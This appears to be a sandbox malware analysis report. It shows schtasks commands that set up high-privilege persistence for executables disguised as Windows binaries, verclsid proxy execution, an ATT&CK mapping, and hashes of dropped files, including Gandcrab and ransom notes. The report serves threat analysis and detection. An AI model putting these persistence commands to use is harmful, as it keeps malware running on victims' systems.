schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /f
1⤵
PID:7900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Program Files\Google\services.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files\Google\services.exe'" /rl HIGHEST /f
1⤵
PID:7540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 12 /tr "'C:\Program Files\Google\services.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /rl HIGHEST /f
1⤵
PID:7364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\explorer.exe'" /f
1⤵
PID:4220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\explorer.exe'" /rl HIGHEST /f
1⤵
PID:1676

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:7704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Microsoft OneDrive\setup\dwm.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft OneDrive\setup\dwm.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Microsoft OneDrive\setup\dwm.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1080

C:\Windows\SysWOW64\wowmgr.exe
C:\Windows\SysWOW64\wowmgr.exe
1⤵
PID:2452

C:\Windows\system32\verclsid.exe
"C:\Windows\system32\verclsid.exe" /S /C {4234D49B-0245-4DF3-B780-3893943456E1} /I {000214E6-0000-0000-C000-000000000046} /X 0x401
1⤵
- System Binary Proxy Execution: Verclsid
PID:6632

C:\Windows\system32\verclsid.exe
"C:\Windows\system32\verclsid.exe" /S /C {4234D49B-0245-4DF3-B780-3893943456E1} /I {000214E6-0000-0000-C000-000000000046} /X 0x401
1⤵
- System Binary Proxy Execution: Verclsid
PID:5760

C:\Windows\system32\verclsid.exe
"C:\Windows\system32\verclsid.exe" /S /C {4234D49B-0245-4DF3-B780-3893943456E1} /I {000214E6-0000-0000-C000-000000000046} /X 0x401
1⤵
- System Binary Proxy Execution: Verclsid
PID:2144

C:\Windows\system32\verclsid.exe
"C:\Windows\system32\verclsid.exe" /S /C {4234D49B-0245-4DF3-B780-3893943456E1} /I {000214E6-0000-0000-C000-000000000046} /X 0x401
1⤵
- System Binary Proxy Execution: Verclsid
PID:5552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Scripting

T1064

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Scripting

T1064

System Binary Proxy Execution

T1218

Verclsid

T1218.012

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\CAEFINVQL-DECRYPT.txt

Filesize
8KB

MD5
f711498d57f229af8b1bc6f86fc7b2ec

SHA1
54efb7d3e26fdceb206bcc6d257f8ac5df24ad0e

SHA256
5192ff1eaa650eef00b973f992bd7beafa8f803916de9f4c6864ae3feb612c3c

SHA512
a7df736f8ae806a69486eb70509b5880d9b17ea5669f363ddb22420c5b96933aa7585b24a0d6a938186d48508013fb327e970884c633d9410ce206e39ff26e9d

Download Submit
C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe

Filesize
233KB

MD5
4ef3177a2e94ce3d15ae9490a73a2212

SHA1
a34f47568ce7fcea97a002eebeae385efa98790c

SHA256
87353d18dfdebf4d0747bbf21d58adaed2b04060d61cba3fa052d522640520f0

SHA512
635ce5c0d1b9f7dd5d7b4c00f216af06dc7d818132ba87a57d3d54f6b30ee01f64430d2aa265f60027cc58dc2e738d5b674ee36ffdca34ff540ce44b7da7c502

Download Submit
C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe

Filesize
55KB

MD5
17315d95e80eb36cc51a7d25e4c8b231

SHA1
95006ad8de0a17dc3df6698e195e62b8ee32475e

SHA256
2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c

SHA512
481a15c46dcf38562aa989f52330e556da90a3ce00190cedb2e00b2a39df5db3bcc3af743060fd8c75933d6ae756aa4bbc176708f36d3b4aa443b4663ca94608

Download Submit
C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe

Filesize
37KB

MD5
5c8eb40a1344bd8b18c1ef0d95d433d4

SHA1
b6c1f037637936ae018cc5e3e17ab9f3cc8cb3ff

SHA256
31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65

SHA512
74aa4c3047e5fff0b0d903841ceb01cd0e9939244c9008a9ae6a77ee5484290e7a0df56bbfc422ff5cf80012e84b75af2cf8840fd6ce6c80ea361fa07e5da577

Download Submit
C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe

Filesize
93KB

MD5
7299c8fe0d2e5c385c4e4711260ee2b5

SHA1
4814f8494c3ff005203838e25a62cdb1ce5f8d68

SHA256
34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219

SHA512
2103b6e574657998159979c0d1e9021175732fffbfcba4ac1c3f778b33010129b9b9467b6f6a1e5f4095e9bf62d2212654f20c5a051cbb72158a2a8f399dfaad

Download Submit
C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe

Filesize
3.2MB

MD5
57ccb6f0bd910fed428761828ae93553

SHA1
71dfe6354ac308d03cf7219686358652b9a8d438

SHA256
7d357b523b5116915747af1fb0d5e6b20a472dd08fd4eda3d0733aeaf70dcd07

SHA512
44423e3df0d34d8917c82103f336cf0c61cd0aa2e3722e3baf9224daf0b620009967136b1625d2f783b1e36207ac529008d49235ae2ae50b01a9b053d0ba0878

Download Submit
C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe

Filesize
828KB

MD5
5e710462c65fe899466e4fb7c1e33c9a

SHA1
a0bee34a8865683de35502c1ed5ff41e86670718

SHA256
f4f54ed5ec3a6e3b427be418fa0f63061e2feffbb9c33ab3911404b1b8f93c7e

SHA512
35c4adede7a4f8baad61876de8821e91dfe4ace4ec721575fc8155f6e7d43c794a7d4741609fda24b16a82d3d9ae18bc35addb299416f59ad1cde74eedbfa0c2

Download Submit
C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe

Filesize
568KB

MD5
4448a3c2ddfdda45009b440faa39a5fe

SHA1
b16a26331d6ebe8f4a45b43e8b0251a715139b10

SHA256
70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2

SHA512
094cef6184c29430be5e4536b54cdfa632b52e7e09c7a4c04104d1b533113f6de6190d6525aac84ddba631220ee0b33a047272b952765977df336a5fa72425b0

Download Submit
C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe

Filesize
827KB

MD5
73c1c41b9e71c48e752a5cd19fe808b6

SHA1
b8bd41a0b9dc7baef6eb01dfe6c852afdfaeed18

SHA256
fce441edb227275c5380194cc7a96a95998de6d75cd601b73bce1be529a68bd6

SHA512
f146a8917d39aa29d52386f5a23bbc01fbfade291d576782b5cc80b0ca363fa24fee80f00cf81ffa40e12503fedd203b422b7ad97dbb0d4500152e86d974cb38

Download Submit
C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe

Filesize
268KB

MD5
fc57a660e24d9c91cb5464b2ece30756

SHA1
6d70e4dcd68ea6dae43cc381d4be84bcfad38eda

SHA256
75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa

SHA512
8f0fa0a2e5553a4059ac3e224ea8106131193f3cec7c23456507f8404c42440267efe88462cf31bcd3a6f9dba57011933a2a43e74b1cccd5d1a363497d1a3a67

Download Submit
C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Filesize
205KB

MD5
887b35a87fb75e2d889694143e3c9014

SHA1
c8be4500127bfce10ab38152a8a5003b75613603

SHA256
78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae

SHA512
98cf0e201092e6d43a7ec5db4d80e6cc20ec9a983098b04597039b244535f78a4096b76bc62e591336b810fafa302e1009a64be6e788f24dcc8b3ac0c8eb930a

Download Submit
C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe

Filesize
175KB

MD5
7f1630df6b57af024a3b561bdadc208f

SHA1
9b304cb2eff05f040b76eccc00ee55b914cf1839

SHA256
c9dbac4fe659e8918f50a4a157713e40d71e05367799af66d1d7845d958ee3f7

SHA512
742219cb5c76b9d39ed56cff988a533d19ef3e202e0fa48e9a3aed7dd9de190eef0c313bc974e37e7f363892eb6787bc66657324be2f0fb05d1b0021ae61ec9e

Download Submit
C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe

Filesize
308KB

MD5
938b92958ded4d50a357d22eddf141ad

SHA1
062f16b1cdfacc55f982908ee6c85fce6296805a

SHA256
93c8db29ec3707f13bf5a96d5b8a3dc33c2f5b870acd3df07292c724ce10a13f

SHA512
372942601188751cdbb79cc94469a66434ca2963591bb849137654622485cd92f4ac8fbbc9b83c3acdc128e354bb3b805af0fc0a465e0a2519d330f8ca9a6c36

Download Submit
C:\Program Files (x86)\BTZ.exe

Filesize
73KB

MD5
cff0392ac2a1d782f43f7938ea18af4f

SHA1
1dfd93a3106a1b4fd10cfaf8b8bb4bb606c4093d

SHA256
ecfed4163f7058856e1d253a29d06d808c069670e4a06cad66f42e71cbc83a2e

SHA512
134f6c8343bbcce6e23ae370193aa1b415f337790e13b2cd6171e657c775c7971a7b13146d930b5273b0ea64ee947df1cc5467e4dd52900d70f13550c6b9ae8b

Download Submit
C:\Program Files (x86)\Cat.exe

Filesize
2.1MB

MD5
fadadf302e5b6c4010d700a3802ac678

SHA1
6548d465ae4facaa1d2d1921e423a7b871bcf36b

SHA256
d61f36d7dc8cc8464434ee6fa72fec2d1e210978769d1443db08f1decd845f67

SHA512
571db891718f1cc7e260772054ec39592259fdb3238dab90071a8ab7eeddc5baf2de2719f12f246a4a0466da7b72776a49f51da124afff936cd78f4253b5646b

Download Submit
C:\Program Files (x86)\Client.exe

Filesize
100KB

MD5
21560cb75b809cf46626556cd5fbe3ab

SHA1
f2eec01d42a301c3caacd41cddb0ef2284dbb5a6

SHA256
d2525bab5cb322933c8978880975e0c189feece68ae3f1951bf46297c7f640fa

SHA512
21eac0037b16f968ee8743b52dc73efdd34d24c2502d090b399a552dc6cb75f7d3090c10d448c66b868b1c4a7c46a5068b084b88b487e40b1e755356cb7557db

Download Submit
C:\Program Files (x86)\Darkest Dungeon setub.exe

Filesize
284KB

MD5
382c21837fbb296675b92c64bbc6249d

SHA1
ddedd90110497139ee0b5fca0e8ea3b585271f6d

SHA256
6ba1d9cf4b63033c0d9752fbe663eee726a5cf5401b20b8b8e927cca39cf113d

SHA512
3a7cc906a9bc94526b0f0fbaff43fa6230e14d0226439d1558b1e09d258911beb79fbfdb56c9286373856dca958dd5decb10c42e7248763dde1e1e85a3aae727

Download Submit
C:\Program Files (x86)\Gandcrab5.0.3.exe

Filesize
424KB

MD5
95557a29de4b70a25ce62a03472be684

SHA1
5baabf2869278e60d4c4f236b832bffddd6cf969

SHA256
49b769536224f160b6087dc866edf6445531c6136ab76b9d5079ce622b043200

SHA512
79b78cf77926e0d8b424ad9984f72d4461c7d9e7af58c4e2af32fa7c58cc445c534228b0709b87f5e35e1c8793b3d028dc60787151d852b8524023d08b57f103

Download Submit
C:\Program Files (x86)\Happy18.exe

Filesize
9KB

MD5
8c0ec9b7f903dce401ac301fbf43e930

SHA1
46db7e2a37d95eb1265b30c1557a5e80683b48f1

SHA256
ddd60301114f7867605a31a6d7c4c2014fe28bd4e0edfc53024a22d10b7bf3f8

SHA512
5dc630f669ae4ddb6cbe6b6f276d63aaf9f55de964990b4a2a57830bd0fd1127a2ee729bc099b738e813c6e0b23a29c3d73b39bb6055372867eb1dcc57635ae5

Download Submit
C:\Program Files (x86)\LightNeuronX0.exe

Filesize
14KB

MD5
55319464e46e2c31d22b39b46d5477fb

SHA1
a4d1a34fe5effd90ccb6897679586ddc07fbc5cd

SHA256
14f530e16e8c6dbac02f1bde53594f01b7edab9c45c4c371a3093120276ffaf1

SHA512
3a3ad3aa4bf745932d8ea02f3c96774aada2d1d1723be1ceb6cd5b7823e3d0f4e91457dbeebe92c8a2c8e7bdc1134b3b59bb9d9ce7503aeae6c182894203c9a3

Download Submit
C:\Program Files (x86)\TEST.exe

Filesize
37KB

MD5
ca70b79092c1b1e6dc8eb7950864b0ee

SHA1
3396cebc62c348fc96463a73a40eb4e5e6bc09c5

SHA256
2ce66bab757ad6cbee699be5ad711582d837f3e0b216d70cdb933c4c9415b20b

SHA512
9eb6c13096de168c46d8c2dd78ce28a19dd4f0aadded4fcf6b9ed655faac43747f7eb7123f664c8e44d77aaf1c6948ec6072a9d63b98ec69e104a7bbb97ebe34

Download Submit
C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe

Filesize
874KB

MD5
a6a1abaf12a28ea8f6553356c3bdcf57

SHA1
b7613fb9944bc3d8e11b5eb6f7ff706f04e8ad53

SHA256
f2507211585dfe351ff53086f30b42572db223b2646e45f91b7f3e202bb0bb76

SHA512
e525d119128c1ca1c05d379b9ebba9791b7b15390c8999773bff6517fde674178e17ee2c7c126b249c8c54b4dd1c07326ba24d52c8c192f067bc7e8545113a65

Download Submit
C:\Program Files (x86)\evil.exe

Filesize
23KB

MD5
0e0d73422110762ad112c39647865d09

SHA1
4bb94e94e65a8bc12313783df99b96d89d7fd764

SHA256
02ac6f6f2eff68b25be9ec044a2af027fbc915af3053f647086f68ad8d6c2e30

SHA512
e31a21c42c7bcdeb8dd80418fad12d5dc8486e21b609f5636114021fbcadb989ca7a612c0300ebb235c5f7a167a60541125409bd959442116407f48808742607

Download Submit
C:\Program Files (x86)\fwclt.exe

Filesize
1024B

MD5
c98a0d1909d8fad4110c8f35ee6f8391

SHA1
3c2b7bb0f3c8ca829602e4182a816a0905398521

SHA256
0f5ec3b9535d4f956330351c5310626ffaa17f146ff51a8b3b10ea0a7039eadc

SHA512
d3760b816b2a3fc3ec4f3ed9eee869885943d95d8a18f8a8233bc3e1b0f774dc9f55b518a54bcac3f94b2d960a73e53987fc09fa338c5b56d20e042610c0d948

Download Submit
C:\Program Files (x86)\kosomk.exe

Filesize
23KB

MD5
926e2c78bcea51e5309db037b18b4202

SHA1
d4b80f95bfdc9c2ff860ac0cc2012a81b425801d

SHA256
1d74f423f423175189fbe07b34697cae04d6d48181efbed5c3b790a137145f10

SHA512
6962876b91bcf7d40d9250dde094ce560f3b3c7a4766ac5e810d27de46cd4167937042d5ae94b21f21a1b19dc4c39dc0107e2aac1fbcd17680345f2fe06354a1

Download Submit
C:\Program Files (x86)\malecus.exe

Filesize
15KB

MD5
0e741eb3f92a7a739628d04a5fd4aab9

SHA1
87a8865773a791ab3ca68201cee7a0c3fef2fab3

SHA256
1ef41bb945daf62e1a7098b1f9b684e54cb1ac5fbbadf1f49e5a87b1788b9f85

SHA512
1377611e60d25eb456f5d5c911fe16c7d655b7930a8475e7d164d0c536740d286c7c27bcedd191c266c3085f6570892a975fddaee9a9ab3ca4b598b53350283c

Download Submit
C:\Program Files (x86)\see7.exe

Filesize
574KB

MD5
1ccf28645e2d52556487a9710de54d8e

SHA1
e83b5b14a3d08d8838e23c08070ebec713f859ef

SHA256
513624286483a4e172511b412b82445a06eefc904d54de75da656ec1a6f8ae99

SHA512
5a5f4c5fb992bac2119234563a8a7d3418baab3e3519f936f13a598aa9026dbeba571b7981a5a6afa519e18b124d8cf4c6642b30b88a4a091a051e2b41c5f321

Download Submit
C:\Program Files (x86)\vbc.exe

Filesize
123KB

MD5
d2ce3b2a5f3efb1fcede96304e57a531

SHA1
d74be8fe0be4ec13340dad9c0fdeb653c9c8b90e

SHA256
e0a4948a58829f4ecd9e6fb9b28e127a6827bd8761ded085d2069a248f6f5462

SHA512
fd0d0b51000b146049db24ecac27885ff4f688b4e40b42061972d21aaa45f8657437db8f56880f5414f00b5e35febce8a339b1d30bd387f8f11a179b222e828b

Download Submit
C:\Program Files (x86)\virus.jk.exe

Filesize
2.0MB

MD5
e0d346913cbf16602edf1aceda2a62b1

SHA1
2387b499cba2684ab293a758413ea2a5f150fa45

SHA256
c1bc3d85a9f78eea49adfb80669570c0cd6cd3dda92223496182e3aadf4e0b30

SHA512
a2c9a2708b4e0a32ab10bd29428ad2583382a5bb56dc6641ae07144d8707efd963004d1a5e71a9c8b9c53e09629b60b9ef7e6a16366ee376083937e717c1977f

Download Submit
C:\Program Files (x86)\virus.jk.jk.exe

Filesize
2.0MB

MD5
7f29146a34aeafc8ef837ab6aed8fd6e

SHA1
10120c15f76b1a7b5a30f8fa829caac88c49d9dd

SHA256
de81bcbb17cde244e05a2b8342d5c8d1be0c344e78d0bc45a7f55a4282230955

SHA512
907a395e0efb69fb4066c9104feed095c0864af36f18bb2abc25b97dbb7c8bb6ccbd177afe42da7974fdee9a05e1d2fa4dd89f1863fee75842a5b7677bfebad6

Download Submit
C:\Program Files\7-Zip\YOUR_FILES_ARE_DEAD.HTA

Filesize
64KB

MD5
288387baefa9d0b5c3a02cd3667c3551

SHA1
aa599054393bf44d043fc000e5ec8891008c0e32

SHA256
bae4b2d8a428a4846f5aafe1af1b9d18d3119fdca18b8ccdd09bef9c47ee82af

SHA512
0900d54a4e145379cf9e013f37b673c5d061213cd115a36e76ba3acbadbb74ab5c35d326e9a92554b7d1919fd0cb4a5256f255b0524af1605076dea3fba56978

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
114B

MD5
23ce62bfec20ffb2c0011e25f8523784

SHA1
c341cbb502000cabce738312bfa277900caa51c3

SHA256
fc30738ba866a745211b8d6acc41173c1b82f83fb89f3a9cf01f45b150bdb5c4

SHA512
59e9beea7f1f1a8e24578493da304ca4af4ebc982cc21ce69d8c899c6370309fed859c7a3edea75eeb9fa0c07566d60c85dd2944eaf7462c6394249db7c5cb60

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\d2f33d7d-087d-47f2-81b1-40539d5c30b9.dmp

Filesize
6.5MB

MD5
5d0a90ed80fb070a394bcedf23ac8330

SHA1
7ba37075151034c6b1d9109f46edef2c282aaf0a

SHA256
9c2f5d17e90ed83c1e581ba7c689a44e510bd312de5031661d8e1ce660ceabad

SHA512
90dd981e4b59ac42eacf471f523a8a176da0293e383a09418b4fe18b284e01ad25974b84355155ca6fa8386ed4d1748d8d2bbda9cf2dd21a8dbdf5cb290de298

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ff63763eedb406987ced076e36ec9acf

SHA1
16365aa97cd1a115412f8ae436d5d4e9be5f7b5d

SHA256
8f460e8b7a67f0c65b7248961a7c71146c9e7a19772b193972b486dbf05b8e4c

SHA512
ce90336169c8b2de249d4faea2519bf7c3df48ae9d77cdf471dd5dbd8e8542d47d9348080a098074aa63c255890850ee3b80ddb8eef8384919fdca3bb9371d9f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
2783c40400a8912a79cfd383da731086

SHA1
001a131fe399c30973089e18358818090ca81789

SHA256
331fa67da5f67bbb42794c3aeab8f7819f35347460ffb352ccc914e0373a22c5

SHA512
b7c7d3aa966ad39a86aae02479649d74dcbf29d9cb3a7ff8b9b2354ea60704da55f5c0df803fd0a7191170a8e72fdd5eacfa1a739d7a74e390a7b74bdced1685

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
456B

MD5
63726582d3be960bc0f3b3d45b400c0c

SHA1
412403088abe6036b3c3e49c513bd841cb0477d0

SHA256
aae4c6fa494f29ad767f6978505733c2419c2d0dc6edf33cdac73700886657fb

SHA512
8085304fd03a07a9bd4fd59c76fda562f9130a2f98808e9748c4f5c28e6bfa8e09ae694b2394e166087a08bfdf2550f9dbbdc9252455a8f905f4044545200c86

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
414e8d087794ee0e3ec2f485ddff2ba9

SHA1
892b080ba8df6d16c689ac1ff69322432b152261

SHA256
1821644b533af3df41f183e19b5cb8ef2d0fafbdd67e5d03cdad4c704bb11f02

SHA512
2b0a3e2bca034a64154db285695c5700c8f685e7b0be72ebbdefc65174740deccbde993e4b84cc5c6bbe8b171ca2727ac3eba328f72cc52f7a9f0a321a9fa06b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
cc3a14e913000cbae18c96d51e15bfba

SHA1
868d7dd0afab796db6fae3488eadbe6080ad2072

SHA256
6049e12d14ba3c018a4f78c56d907edf8361c92bd9feebe0f645e739f745925a

SHA512
6e1fae0448af8f38cc0ab85ab30a051fa46b72b0d14f3ed54c3ab07f747026aa7ab0d8e70773e462ede02c77a3a3b802c043ba3b1e94c14b3a43849439adf83b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
84ff877f8e8ba61d26bdf4fe756f7e49

SHA1
54cefcc248078f417502c28d030e99fcca5f832f

SHA256
eb5c35675dce58ab0cd6de7ec0ff046bf99a23b518254183656dc9bc044523d3

SHA512
0b94bd5242552336654985fefd50beaf7954d3906e2cf05793811b92f6161607574e4aac482176438c6baaa86f5f0ae4764b5e54200a544506d34fe805f90814

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
e1e9dd4823ed2e21e0d1327819df0e2e

SHA1
0f4be3525f295b735a257bff758f052da7724c3d

SHA256
cfa15bea7ee3406bcc96b0bb95c678816aa282f9aee4ac94dfb0b6c6b316b426

SHA512
1aa987b8ed3c84c4838fac482dd970e0a2107aff69367b25b62ecdd42f7f4ec9dfb73b5f0d5c53f3e73c1ccf6fbf0eb8b6e5139ae49af8e58a9636f79990ae94

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
af4a4e909a673ce5af2c48a2ba183e01

SHA1
01be766581b50dc689f4d4292f84432ef86247ae

SHA256
8b6c166cf8af1146c0fb03f234414718aed0b3fca4c60823f1d87fdbf02d54eb

SHA512
eeeeba40604d622dc03cf1bae1a1b4ae1b09d95277d11fced6b61af84a1e73d16b4069dd9417dd14efdfcc96a3162f0178e8a12fccc57477b9b2f02555358068

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
7ba29154da84dc62733f9b68bd2d6ca4

SHA1
c11d92ffbc289dda16e6be22b89f2eef355b7576

SHA256
58deac06a0b41ffe8e5179184274386ecb38e93f466421d6b065720be754f743

SHA512
d3d5a67a96574b2bc7de27b19e3eed9774088c48e497f6600695ec8093aae6e090e07465bd189cec1a492af727c015a32425fa7f87638fbf838cf0fde321cd0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
f5f3473486ddf51779a3b76d85ce9b2f

SHA1
ce190fdb58432cac5929185e79bbf1fca5a6bd50

SHA256
49b605ff6715c5fc3a80daa29bc3126b4eb2bb2e73f7f2be36832d30cadb7d35

SHA512
6fe0a3236f941e4ecd4f99c8e8f0eb479c2d9609cc015cbdb8ea628ad85cc40b20c5caa5bbe921fc338dac942685f722c873d7732de1b7207dd0a9741f193da9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
8758a963778975722cb26855a1763e2c

SHA1
8752c640a27bd5874e73ddb8e9d688587c9325a7

SHA256
f5cd62b95adf9e101329d81af38c198321a556c99456ebd2fdfc3d14a4af1b48

SHA512
5f6cf95ec0f9933552c0d75b3c3cf7e867e9b0097b1b9ee4eb02da5fba7ca252659c90458ed810e9a1db5d52f93dd3c64cda1353a58aea513ab3676af521c30f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe583d52.TMP

Filesize
1KB

MD5
f928d97435948bc06572b1b525c92a5c

SHA1
5b58bb69c6b76b5c06391e6b889bd6827ea285b2

SHA256
3f77a2e3381498ae5a2ee6612479389b3de02dec6fecd821886794b23b9dfd5b

SHA512
eaf7c2dc34e028736f5619a7b8bad0c503beb99c1b0af6d124c021a87d14b5f24c6104117dec310e16edfe4baa0de4fcfa5eaf637ea8166fb7ed0cd974e64d2e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
f6990fa9d756fa5419123eed7cb3992f

SHA1
7eec25b4e79fa5bcaf629c8a90320f351000364e

SHA256
24a97792bad4b5a74f0f2e600352d4d0033f4be4ed0d8ad99c9f72286738d801

SHA512
aba5386db7b16f87711b6689a799853bd81e5dff232fd2ebc480c28e02c754fae532ee64e080c69446143fc729e864cc39ecb38997015d68a0104ebbafaf2665

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
ae3caaeec114d8ee46ed789e6418369c

SHA1
ccee387c79b8c7ad185b8a7a16fd71ee8094d600

SHA256
7de9e868226d3661a0ebf7d45466446f40b90048ccffb8ed5acec3216b308cf2

SHA512
20808798ec0d4fa4b26507cacf99a414ce949a606250e63d5a7b8c7cddc4f088f7a007cd3d3ccb66dc1bbb44731eaa8d34a0b914baa31e055e6b6452892b6a1c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

Filesize
896KB

MD5
50c09f2694e2b571c60486cfdfd372e9

SHA1
0953b665ee3eba86cec45fdb81124148bcfbbaa1

SHA256
31f766c92ddc5473412316d09d7bea0297392e33f2acdeec7f53d1a4b7f690b2

SHA512
ddd3a0e8032547cb835e831b9f4d7259d5211d72b2ecb724b4fb7c91db35995e2488d8e60500a76a6fc47e789145cfa60452891835e9289c1e0fa35a0956be27

Download Submit
